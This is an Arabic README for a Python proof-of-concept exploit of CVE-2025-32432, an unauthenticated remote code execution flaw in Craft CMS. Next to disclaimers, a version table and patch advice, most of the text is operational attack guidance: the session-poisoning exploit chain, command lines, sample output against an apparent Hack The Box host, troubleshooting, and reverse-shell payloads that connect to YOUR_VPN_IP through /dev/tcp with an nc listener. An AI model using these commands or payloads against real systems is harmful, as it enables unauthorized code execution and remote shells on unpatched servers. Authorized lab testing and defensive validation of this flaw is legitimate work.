
للاستخدام المصرح به فقط. هذا المستودع مخصص للبيئات المخبرية الخاضعة للتحكم، ومنصات CTF مثل Hack The Box، والتحقق الداخلي، والتحقق الدفاعي. لا تشغّل هذا ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
يحتوي هذا المشروع على إثبات مفهوم لهدف واحد لثغرة CVE-2025-32432، وهي مشكلة تنفيذ أكواد عن بُعد بدون مصادقة في Craft CMS.
ينفّذ إثبات المفهوم مرحلتين:
phpinfo() عبر نقطة نهاية توليد تحويل الأصول في Craft CMS.صُمم السكربت لتجنب مشكلة النتيجة السلبية الخاطئة الشائعة في بعض أدوات إثبات المفهوم العامة: طلب تحويل الصور العادي قد يعيد 404، بينما تعمل نفس نقطة النهاية وassetId عند استخدام حمولة الأداة الفعلية.
وفقًا للإرشاد الرسمي من Craft CMS وقواعد بيانات الإرشادات العامة، النطاقات المتأثرة هي:
| فرع Craft CMS | الإصدارات المتأثرة | الإصدار المُصحَّح |
|---|---|---|
| 3.x | < 3.9.15 | 3.9.15 |
| 4.x | < 4.14.15 | 4.14.15 |
| 5.x | < 5.6.17 | 5.6.17 |
قم بالترقية إلى إصدار مُصحَّح فورًا إذا كنت مسؤولًا عن نشر Craft CMS.
يتّبع إثبات المفهوم هذا المسار التالي:
Get CSRF token
|
v
Test endpoint + assetId with phpinfo gadget
|
v
Confirm vulnerable response contains PHP Version / PHP License
|
v
Poison Craft session return URL with PHP payload
|
v
Trigger yii\rbac\PhpManager to include the PHP session file
|
v
Execute optional command
تفاصيل تنفيذ مهمة:
&./var/lib/php/sessions/var/lib/php/session/tmp--timeout مضمّن لسيناريوهات الصدفة العكسية.craftcms_cve_2025_32432_public_poc.py Main single-target PoC
README.md Project documentation
requestsurllib3تثبيت التبعيات:
python3 -m pip install requests urllib3
يؤكد هذا الثغرة باستخدام أداة phpinfo فقط.
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local
الإخراج الناجح المتوقع:
[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.
يُحفظ رد phpinfo على النحو التالي:
phpinfo_success.html
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local -c "id"
مثال على الإخراج الناجح:
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
استخدم هذا عندما تعرف القيم العاملة مسبقًا.
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "id" \
-a 0 \
--endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" \
--session-dir /var/lib/php/sessions
قد تستخدم بعض الأهداف وحدة تحكم أمامية مخصصة مثل x.php.
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
--front x.php \
-c "id"
يختبر هذا مسارات مثل:
http://target.local/x.php?p=admin/actions/assets/generate-transform
شغّل مستمعًا أولاً:
rlwrap -cAr nc -lvnp 12345
ثم شغّل إثبات المفهوم مع أمر صدفة عكسية:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "bash -lc 'bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1'" \
--timeout 0
--timeout 0 يعطّل مهلة الطلب. هذا مفيد لأن الصدفات العكسية غالبًا ما تُبقي طلب HTTP مفتوحًا.
نسخة مفصولة (Detached):
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "bash -lc 'setsid bash -c \"bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1\" >/dev/null 2>&1 &'" \
--timeout 0
assetId 0 -> HTTP 404 أثناء الفحص العاديلا تعتمد على طلب تحويل عادي للاكتشاف. بعض الأهداف تُرجع 404 لجسم تحويل عادي لكنها ما زالت تنفّذ حمولة الأداة.
يكتشف إثبات المفهوم هذا التركيبات الصالحة باستخدام أداة phpinfo نفسها.
جرّب تحديد مجلد الجلسة يدويًا:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "id" \
--session-dir /var/lib/php/sessions
ثم جرّب:
--session-dir /var/lib/php/session
أو:
--session-dir /tmp
استخدم أحد هذه الأساليب:
--timeout 0
استخدم حمولة مفصولة مع setsid أو nohup.
تأكد من صحة عنوان IP للاستدعاء:
ip -br a | grep tun
قد يكون هذا طبيعيًا إذا كانت الصدفة العكسية قد اتصلت بنجاح. تحقق من المستمع قبل اعتبار المهلة فشلًا.
جرّب أمرًا أبسط أولاً:
-c "id"
-c "whoami"
-c "pwd"
إذا كانت الأوامر البسيطة تعمل بينما تفشل الأوامر المعقدة، فاقتبس الأمر بعناية أو استخدم حمولة صدفة مفصولة.
[*] Target: http://orion.htb
[*] Front controller: index.php
[+] CSRF token found via http://orion.htb/index.php?p=admin/dashboard
[*] Testing endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
assetId 0 -> HTTP 200
[+] phpinfo triggered
[+] Working endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
إذا كنت تدير مثيل Craft CMS:
3.9.15 أو 4.14.15 أو 5.6.17 أو أحدث..env وبيانات اعتماد قاعدة البيانات إذا كان الاستغلال مشتبهًا به.يُوفَّر هذا المشروع لأغراض تعليمية وبحثية ومخبرية والتحقق الدفاعي فقط. المؤلف غير مسؤول عن إساءة الاستخدام. اختبر فقط الأنظمة التي تملكها أو لديك إذن كتابي صريح لتقييمها.
| الخيار | الوصف | الافتراضي |
|---|
-u, --url | عنوان الهدف الأساسي | مطلوب |
-c, --cmd | أمر اختياري لتنفيذه بعد تأكيد phpinfo | لا شيء |
--front | اسم وحدة التحكم الأمامية | index.php |
-s, --scan-max | أقصى assetId لاختباره باستخدام أداة phpinfo | 50 |
-a, --asset | معرّف أصل معروف يعمل | لا شيء |
--endpoint | نقطة نهاية generate-transform معروفة تعمل | لا شيء |
--session-dir | مجلد جلسات PHP. يمكن توفيره عدة مرات | قائمة مدمجة |
--timeout | مهلة الطلب لتفعيل الأمر. استخدم 0 بدون مهلة | 20 |